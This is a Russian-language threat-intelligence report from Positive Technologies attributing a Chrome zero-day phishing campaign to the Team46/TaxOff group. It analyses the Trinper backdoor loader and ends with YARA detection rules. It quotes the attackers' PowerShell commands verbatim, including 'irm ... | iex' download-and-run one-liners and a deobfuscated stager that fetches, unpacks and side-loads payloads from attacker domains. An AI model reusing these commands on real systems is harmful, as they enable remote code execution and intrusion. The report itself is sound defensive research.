Positive Technologies
PT Expert Security Center

Team46 и TaxOff: две стороны одной медали

Team46 и TaxOff: две стороны одной медали

Авторы:

Станислав Пыжов

Станислав Пыжов

Ведущий специалист группы исследования сложных угроз TI-департамента экспертного центра безопасности, Positive Technologies

Владислав Лунин

Владислав Лунин

Старший специалист группы исследования сложных угроз TI-департамента экспертного центра безопасности, Positive Technologies

Ключевые моменты

  1. Team46 и TaxOff — замечены на одном инциденте.
  2. Team46 и TaxOff — их инструменты имеют схожий функционал.
  3. Team46 и TaxOff — имеют схожую инфраструктуру.
  4. Team46 и TaxOff — вероятно, одна группа, за которой мы оставляем название Team46.

Введение

В марте 2025 года специалисты TI-департамента экспертного центра безопасности Positive Technologies (PT Expert Security Center, PT ESC) исследовали атаку, в которой использовалась зарегистрированная примерно в это же время уязвимость нулевого дня CVE-2025-2783 для браузера Chrome (выход из песочницы). Использование этой уязвимости и саму атаку описали исследователи из «Лаборатории Касперского», однако последующая цепочка заражения осталась без атрибуции.

В отчете мы предоставим атрибуцию этой атаки к группировке TaxOff, о которой мы писали ранее. Мы также представим данные, которые позволяют считать еще одну найденную нами ранее группировку Team46 и TaxOff одной и той же группой.

Team46?

Атака, которая привлекла внимание экспертов, была совершена в середине марта 2025 года. Начальным вектором атаки было фишинговое письмо, содержащее ссылку, при переходе по которой жертва активировала one-click exploit (CVE-2025-2783), который приводил к установке бэкдора Trinper группировки TaxOff. Письмо со ссылкой на фишинговый форум по «Примаковским чтениям», где располагался эксплойт, можно найти в отчете «Лаборатории Касперского».

При исследовании этой атаки была обнаружена более ранняя атака, совершенная в октябре 2024 года, которая начиналась с фишингового письма со следующим содержанием.

Рисунок 1. Фишинговое письмо. Октябрь 2024

Рисунок 1. Фишинговое письмо. Октябрь 2024

Письмо по структуре и стилистике очень похоже на письмо из новой атаки.

По ссылке https://mil-by[.]info/#/i?id=[REDACTED] из письма скачивается архив с ярлыком, запускающим powershell.exe со следующей командой:

-w minimized -c irm https://ms-appdata-query.global.ssl.fastly.net/query.php?id=[REDACTED] | iex


Ранее мы видели аналогичную команду в атаках Team46:

-w Minimized -ep Bypass -nop -c "irm https://infosecteam.info/other.php?id=jdcz7vyqdoadr31gejeivo6g30cx7kgu | iex"


Powershell-скрипт, который скачивался после выполнения команды, также похож на скрипт из вышеупомянутой статьи:

powershell.exe -w minimized -ep bypass -noni -nop -c Invoke-Expression $([char](10+0x18+0x2)+[char](100)+[char](0x33+0x18+0x21)+[char](0x64)+[char](99)+[char](56+0x29)+[char](111)+[char](12+0x43+0x29)+[char](22+99)+[char](0x25+56+28)+[char](100)+[char](0x70)+[char](20+0x2e+41)+[char](0x4c+0x2c)+[char](2+103)+[char](0+119)+[char](0x53+21)+[char](16+83)+[char](108)+[char](11+0x5c)+[char](105)+

[REDACTED]


После деобфускации скрипт выглядит следующим образом:

iwr 'https://ms-appdata-fonts.global.ssl.fastly.net/docs/minsk2025v1/[REDACTED]/document.pdf' -OutFile $env:LOCALAPPDATA\Temp\umawbfez-bkw5-f85a-3idl-3z4ql69v8it0.pdf -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0 Safari/537.36 Edge/125.0.0.0'; & "$env:LOCALAPPDATA\Temp\umawbfez-bkw5-f85a-3idl-3z4ql69v8it0.pdf"; if(!(Test-Path -Path "$env:LOCALAPPDATA\Microsoft\windowsapps\.Appdata\winsta.dll")){ if(!(Test-Path -Path "$env:LOCALAPPDATA\Microsoft\WindowsApps\7za.exe")){iwr "https://ms-appdata-fonts.global.ssl.fastly.net/docs/minsk2025v1/[REDACTED]/pkcs7" -OutFile "$env:LOCALAPPDATA\Microsoft\WindowsApps\7za.exe" -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0 Safari/537.36 Edge/125.0.0.0'};iwr "https://ms-appdata-main.global.ssl.fastly.net/asset.php?query=$env:COMPUTERNAME" -OutFile "$env:LOCALAPPDATA\Microsoft\WindowsApps\\Appdata.zip" -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0 YaBrowser/28.4.1.2 Safari/537.36';&  "$env:LOCALAPPDATA\Microsoft\WindowsApps\7za.exe" x -p'F5gk0a,20g' "$env:LOCALAPPDATA\Microsoft\WindowsApps\\Appdata.zip" -o"$env:LOCALAPPDATA\Microsoft\WindowsApps\";copy "c:\windows\system32\rdpclip.exe" "$env:LOCALAPPDATA\Microsoft\WindowsApps\.Appdata\rdpclip.exe"; & "$env:LOCALAPPDATA\Microsoft\WindowsApps\.Appdata\rdpclip.exe";del "$env:LOCALAPPDATA\Microsoft\WindowsApps\\Appdata.zip";}else{copy "c:\windows\system32\rdpclip.exe" "$env:LOCALAPPDATA\Microsoft\WindowsApps\.Appdata\rdpclip.exe";& "$env:LOCALAPPDATA\Microsoft\WindowsApps\.Appdata\rdpclip.exe"}


Для сравнения ниже приводится скрипт из статьи про атаки Team46:

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -w Minimized -ep Bypass -nop -c "iwr 'https://srv480138.hstgr.cloud/uploads/scan_3824.pdf' -OutFile $env:LOCALAPPDATA\Temp\399ha122-tt9d-6f14-s9li-lqw7di42c792.pdf -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.';$env:LOCALAPPDATA\Temp\399ha122-tt9d-6f14-s9li-lqw7di42c792.pdf;iwr 'https://srv480138.hstgr.cloud/report.php?query=$env:COMPUTERNAME' -OutFile $env:LOCALAPPDATA\Temp\AdobeUpdater.exe -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.1 YaBrowser/23.11.0.0 Safari/537.36';$env:LOCALAPPDATA\Temp\AdobeUpdater.exe;"


Как видно, для именования документа-приманки на компьютере жертвы используется один и тот же паттерн (umawbfez-bkw5-f85a-3idl-3z4ql69v8it0.pdf и 399ha122-tt9d-6f14-s9li-lqw7di42c792.pdf). В обоих случаях при скачивании документа-приманки используется User-Agent Edge, а при скачивании полезной нагрузки используется User-Agent Яндекс.Браузера.Кроме того, в обоих случаях через параметр query передается имя компьютера.

Отличается лишь полезная нагрузка. Если ранее в атаке, описанной коллегами из Dr.Web, атакующие для запуска вредоносной нагрузки применяли уязвимость DLL hijacking для Яндекс.Браузера (CVE-2024-6473) с подменой библиотеки Wldp.dll, то в данном случае использовался системный компонент rdpclip.exe, также уязвимый к DLL hijacking, с подменой системной библиотеки winsta.dll.

Интересно то, что библиотека winsta.dll представляет собой загрузчик бэкдора Trinper группировки TaxOff, описанной нами ранее. Бэкдор использовал управляющий сервер common-rdp-front.global.ssl.fastly.net.

И это можно было бы списать на совпадение, если бы не аналогичная атака, зафиксированная в сентябре 2024 года. В письме рассылался архив с названием Корпоративного Центра ПАО «Ростелеком».zip, содержащий ярлык Ростелеком.pdf.lnk, который также запускает powershell.exe с характерной для Team46 командой:

-w hid -ep Bypass -nop -c "irm https://srv510786.hstgr.cloud/ordinary.php?id=9826fbb409f65dc6b068b085551bf4f3 | iex"


Документ-приманка в этой атаке выглядел следующим образом.

Рисунок 2. Документ-приманка

Рисунок 2. Документ-приманка

Телефон, указанный в конце страницы, написан в стиле Team46 (мы говорили про это в нашем отчете): он некорректен и содержит набор цифр, случайно набранный на клавиатуре.

Полезной нагрузкой в этой атаке являлся файл AdobeARM.exe, представляющий собой загрузчик бэкдора из первой известной нам атаки Team46, описанный коллегами из Dr.Web. Ранее мы обнаружили этот бэкдор, также имеющий имя AdobeARM.exe, на одной системе с бэкдором Trinper во время одного из инцидентов.

Загрузчик Trinper

В функции DllMain загрузчик инициализирует структуру, хранящую в себе зашифрованную финальную нагрузку, список хешей для дальнейших проверок и вспомогательные поля, такие как размер финальной нагрузки. После инициализации структуры загрузчик запускает поток, в котором реализована логика расшифровки и запуска финальной нагрузки.

Рисунок 3. Инициализация структуры и запуск потока

Рисунок 3. Инициализация структуры и запуск потока

Прежде чем описывать процесс расшифровки, для облегчения его понимания мы составили схему слоев шифрования, их последовательность, а также алгоритмы и ключи, которые они используют для дешифрования.

Рисунок 4. Схема слоев шифрования

Рисунок 4. Схема слоев шифрования

В потоке загрузчик сначала в цикле дешифрует первый слой шифрования, который тоже является дешифратором, но уже для второго слоя шифрования.

Рисунок 5. Дешифрование первого и второго слоев

Рисунок 5. Дешифрование первого и второго слоев

После того как был расшифрован второй слой, ему передается управление. Этот слой обфусцирован кастомным control flow flattening. Для начала он динамически резолвит все нужные ему функции WinAPI, а после уже передает управление на основной функционал.

Рисунок 6. Обфусцированный поток управления

Рисунок 6. Обфусцированный поток управления

На данном этапе происходит проверка на наличие отладчика и на исполнение в правильном окружении. Сначала загрузчик проверяет, что выполняется в контексте определенного процесса. Для этого он использует модифицированный алгоритм хеширования BLAKE2b, вычисляя хеш имени текущего процесса. Хеш сравнивается с одним из вшитых хешей, и в случае, если загрузчик не выполняется в нужном процессе, работа завершается.

Рисунок 7. Проверка на исполнение в контексте нужного процесса

Рисунок 7. Проверка на исполнение в контексте нужного процесса

Далее загрузчик получает UUID прошивки с помощью вызова функции GetSystemFirmwareTable, который в дальнейшем используется в процессе расшифрования нагрузки. То есть вредоносная нагрузка может быть расшифрована только на целевой системе. Как злоумышленники узнавали UUID машины для генерации ВПО, нам доподлинно неизвестно. После этого происходит проверка на отладку через кучу. Если проверка не пройдена, то управление переходит на неверный поток управления, в котором происходит рандомизация значений UUID, а управление передается на бесконечный цикл расшифрования.

Рисунок 8. Проверка на отладку

Рисунок 8. Проверка на отладку

Если все проверки пройдены успешно, то UUID передается сначала в функцию, реализующую первый раунд алгоритма ChaCha20 для генерации ключа. С помощью него загрузчик расшифровывает алгоритмом ChaCha20 третий слой шифрования и выполняет проверку целостности расшифрованных данных. Далее загрузчик расшифровывает четвертый слой с ключом, в качестве которого выступает ImagePathName из структуры PEB. Данные из четвертого слоя используются для генерации финального ключа для расшифровки пятого слоя, по аналогии с UUID. Тут также присутствует проверка целостности для расшифрованных байтов.

Рисунок 9. Получение имени

Рисунок 9. Получение имени

В случае успешной расшифровки ключа загрузчик использует его для расшифровки последнего слоя шифрования, который является загрузчиком donut.

Мы также видели вариации, когда вместо загрузчика donut был загрузчик Cobalt Strike. Если финальный загрузчик donut, то его полезная нагрузка Trinper, в противном случае — Cobalt Strike. Функционально Trinper не изменился.

Вспомогательные инструменты

В ходе расследования также были обнаружены самописные вспомогательные инструменты, с помощью которых злоумышленники проводили разведку в системе жертвы. Все инструменты написаны на .NET и передают полученные данные по именованному каналу:

  • dirlist.exe — для поиска файлов на системе.
  • ProcessList.exe — получение списка запущенных процессов.
  • ScreenShot.exe — снятие скриншотов.

Сравнение Team46 и TaxOff

Приведем факты того, что Team46 и TaxOff — вероятно, одна группировка.

Команды PowerShell и паттерн URL

Как было описано в начале статьи, обе группы использовали похожие powershell-команды, powershell-скрипты и паттерны URL в них.

Команда группы Team46 в феврале 2024 года:

-w Minimized -ep Bypass -nop -c "irm https://infosecteam.info/other.php?id=jdcz7vyqdoadr31gejeivo6g30cx7kgu | iex"


Команда группы Team46 в сентябре 2024 года:

-w hid -ep Bypass -nop -c "irm https://srv510786.hstgr.cloud/ordinary.php?id=9826fbb409f65dc6b068b085551bf4f3 | iex"


Команда группы TaxOff в октябре 2024 года:
 

-w minimized -c irm https://ms-appdata-query.global.ssl.fastly.net/query.php?id=[REDACTED] | iex

Загрузчик

Загрузчик TaxOff в основном функционально идентичен загрузчику Trojan.Siggen27.11306 Team46:

  1. Использование потока для расшифровки полезной нагрузки.
  2. Использование UUID прошивки в качестве ключа.
  3. Использование ImagePathName в качестве ключа.
  4. Использование модифицированного алгоритма шифрования ChaCha20.
  5. Использование модифицированного алгоритма хеширования BLAKE2.
  6. Использование загрузчика donut.

Инфраструктура

Обе группировки использовали синтаксически похожие домены с мимикрией под легитимные сервисы с дефисами в названии:

Team46 — ms-appdata-fonts.global.ssl.fastly.net
TaxOff — fast-telemetry-api.global.ssl.fastly.net

Выводы

В результате проведенного анализа можно утверждать, что Team46 и TaxOff являются одной и той же APT-группировкой, для которой мы оставляем название Team46. Использование эксплойтов нулевого дня позволяет этой группировке эффективнее проникать в защищенные инфраструктуры. Кроме того, разработка и использование сложного вредоносного программного обеспечения указывает на то, что группировка имеет долгосрочную стратегию и планирует поддерживать свое присутствие в скомпрометированных системах в течение длительного периода.

IoCs

Файловые индикаторы

Сетевые индикаторы

Файловые сигнатуры

rule PTESC_apt_win_ZZ_Team46__Backdoor__Trinper__Obf {
  strings:
    $cmd = {4D 3A 03 0C EC EC 00 00 85 A5 17 6E 77 61 00 00 09 7E F1 00 D0 7E F1 00 C7 13 12 00 4F C0 00 00 1E 0D 00 00 CD 00 00 00 08 01 00 00}
    $dec1 = {4C 8D 1D ?? ?? ?? ?? 0F B6 C2 6B C8 ?? 43 32 0C 18 43 88 0C 08 41 03 D5 4C 63 C2 4C 3B C7 72 ??}
    $dec2 = {48 8D 0D ?? ?? ?? ?? 0F B6 04 01 6B 4C 24 ?? ?? 81 E1 ?? ?? ?? ?? 0F B6 C9 33 C1 48 63 4C 24 ?? 48 8B 54 24 ?? 88 04 0A EB ??}
  condition:
    ((uint16(0) == 0x5a4d) and ($cmd) and ($dec1 or $dec2))
}

rule PTESC_apt_win_ZZ_Team46__Trojan__Generic {
	strings:
		$code_thread = {48 8D 05 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 0D ?? ?? ?? ?? 31 C9 48 89 05 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 4C 8D 0D ?? ?? ?? ?? 48 89 05 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 48 89 15 ?? ?? ?? ?? 31 D2 48 89 05 ?? ?? ?? ?? 48 89 05 ?? ?? ?? ?? 8A 05 ?? ?? ?? ?? 48 C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 83 E0 ?? 83 C8 ?? 88 05 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 48 89 05 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 48 89 05 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 48 89 05 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 48 89 05 ?? ?? ?? ?? 48 8D 44 24 ?? 48 89 44 24 ?? 31 C0 89 44 24 ?? FF 15 ?? ?? ?? ??}
	condition:
		((uint16(0) == 0x5a4d) and ($code_thread) and (pe.imphash() == "a1ba8e681baabf7d4b54840e6d066ff6"))
}

rule PTESC_tool_win_ZZ_Donut__Trojan__x64 {
	strings:
		$x64_c_speck_hash = {C1 C? 08 41 03 C8 8B D3 41 33 C9 C1 C? 08 41 03 D1 41 C1 C? 03 41 33 D2 41 C1 C? 03 44 33 C? 44 33 C?}
		$x64_c_donut_decrypt = {41 03 CA 41 03 C0 41 C1 C2 05 44 33 D1 41 C1 C0 08 44 33 C0 C1 C1 10 41 03 C2 41 03 C8 41 C1 C2 07 41 C1 C0 0D 44 33 D0 44 33 C1 C1 C0 10 48 83 (EB | EF) 01 75 CC}
		$x64_c1 = {75 22 81 7C 24 40 00 10 00 00 75 14 81 7C 24 48 00 00 02 00 75 0A}
		$x64_c2 = {65 48 8B 04 25 30 00 00 00 49 8B F8 48 8B F2 48 8B E9[0 - 3] 4C 8B 48 60 49 8B 41 18 48 8B ?? 10}
	condition:
		uint16(0) == 0x5A4D and 2 of them
}

rule PTESC_tool_win_ZZ_CobaltStrike__Backdoor__Strings {
	strings:
		$string1 = "LibTomMath"
		$string2 = "%s (admin)"
		$string3 = "ReflectiveLoader@"
		$string4 = "%s!%s"
		$string5 = "%s as %s\\%s: %d"
		$string6 = "NtQueueApcThread"
		$string7 = "@%windir%\\syswow64\\"
		$string8 = "@%windir%\\sysnative\\"
		$string9 = "@/common/oauth2/v2.0/authorize.xml"
		$string10 = "ajax.aspnetcdn.com,/hp-neu/en-us/homepage/style.css,do.skype.com,/hp-neu/en-us/homepage/style.css"
		$a1 = "LibTomMath"
		$a2 = "sprng"
		$a3 = "sha256"
		$a4 = "aes"
		$a5 = "wlidcredprov.dll"
		$a6 = "sysnative"
		$a7 = "HTTP/1.1 200 OK"
	condition:
		4 of($string*) or 5 of($a*) and filesize < 20MB
}

rule PTESC_apt_win_ZZ_Team46__Trojan__DirList {
	strings:
		$v1 = {20 00 40 00 00 8D 25 00 00 01 0B 06 07 16 20 E8 03 00 00}
		$v2 = {20 00 40 00 00 5F 20 00 40 00 00 33 08 11 0F 1F 10 60 D2 13 0F}
		$v3 = "nojxvf" wide
		$v4 = "DirList.Properties" ascii wide
		$v5 = "DirList.exe"
	condition :
		uint16(0) == 0x5a4d and filesize < 15KB and 3 of them
}

rule PTESC_apt_win_ZZ_Team46__Trojan__ProccessList {
	strings:
		$v1 = "NamedPipeClientStream"
		$v2 = "WTSQuerySessionInformationW"
		$v3 = "kavloc" wide
		$v4 = "Username" ascii wide
		$v5 = "ProcessList.exe"
		$v6 = "getProcArch"
	condition:
		uint16(0) == 0x5a4d and filesize < 15KB and 3 of them
}

rule PTESC_apt_mem_ZZ_Team46__Backdoor__Dante {
    strings:
        $av1 = "\x00msmpeng\x00"
        $av2 = "\x00mssense\x00"
        $av3 = "\x00avastsvc\x00"
        $av4 = "\x00dwservice\x00"
        $av5 = "\x00avp\x00"
        $av6 = "\x00nortonsecurity\x00"
        $av7 = "\x00coreserviceshell\x00"
        $av8 = "\x00avguard\x00"
        $av9 = "\x00fshoster32\x00"
        $av10 = "\x00vsserv\x00"
        $av11 = "\x00mbam\x00"
        $av12 = "\x00adawareservice\x00"
        $av13 = "\x00avgsvc\x00"
        $av14 = "\x00wrsa\x00"
        $config_marker = "DANTEMARKER"
        $dll_name = "CORE.dll" fullword
        $module_config1 = "triggers" fullword wide
        $module_config2 = "schedule" fullword wide
        $module_config3 = "process" fullword wide
        $module_config4 = "repetitions" fullword wide
        $module_config5 = "sendCmr" fullword wide
        $module_config6 = "name" fullword wide
        $module_config7 = "interval" fullword wide
    condition :
        $dll_name and ($config_marker or (10 of($av*) and 6 of($module_config*)))
}

rule PTESC_apt_mem_ZZ_Team46__Trojan__DanteLoader {
    strings:
        $config_marker1 = "DANTEMARKER"
        $config_marker2 = { 44 41 4E 54[5 - 7] 45 4D 41 52[5 - 7] 4B 45[5 - 7] 52 }
		$loader1 = {48 63 42 3C 8B 8C 10 88 00 00 00 48 03 CA}
		$loader2 = {8B 51 10 0F B7 C5 3B C2}
    condition:
        all of($loader*) and any of($config_marker*)
}

rule PTESC_apt_win_ZZ_Team46__Downloader__Lnk {
    strings:
        $run1 = "| iex" wide
        $run2 = "|iex" wide
        $target = ".php?id=" wide
        $url1 = "irm http" wide
        $url2 = "irm 'http" wide
        $url3 = "irm \"http" wide
    condition :
        uint32(0) == 0x0000004c and filesize < 10KB and $target and any of($url*) and any of($run*)
}

MITRE TTPs

Вердикты продуктов Positive Technologies

PT Sandbox

MaxPatrol SIEM

PT NAD